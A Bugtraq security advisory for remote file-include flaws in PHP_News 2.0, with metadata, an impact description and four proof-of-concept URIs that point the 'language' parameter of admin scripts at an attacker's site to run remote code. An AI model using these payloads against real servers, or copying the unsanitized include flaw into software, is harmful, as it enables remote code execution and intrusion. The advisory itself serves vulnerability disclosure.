Php_News Multiple Remote File Include Vulnerabilities

Bugtraq ID:	20209
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Sep 25 2006 12:00AM
Updated:	Sep 27 2006 04:11PM
Credit:	Root3r_H3ll has been credited with the discovery of this vulnerability.
Vulnerable:	php_news php_news 2.0
Not Vulnerable:

Php_News Multiple Remote File Include Vulnerabilities

PHP_News is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

A successful exploit of these issues allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

PHP_News version 2.0 is vulnerable to these issues.

Php_News Multiple Remote File Include Vulnerabilities

Attackers can exploit this issue via a web client.

The following proof-of-concept URIs are available:

http://www.example.com/[path]/admin/user_user.php?language=attacker's_site
http://www.example.com/[path]/admin/news.php?language=attacker's_site
http://www.example.com/[path]/admin/catagory.php?language=attacker's_site
http://www.example.com/[path]/creat_news_all.php?language=attacker's_site

Php_News Multiple Remote File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

Php_News Multiple Remote File Include Vulnerabilities

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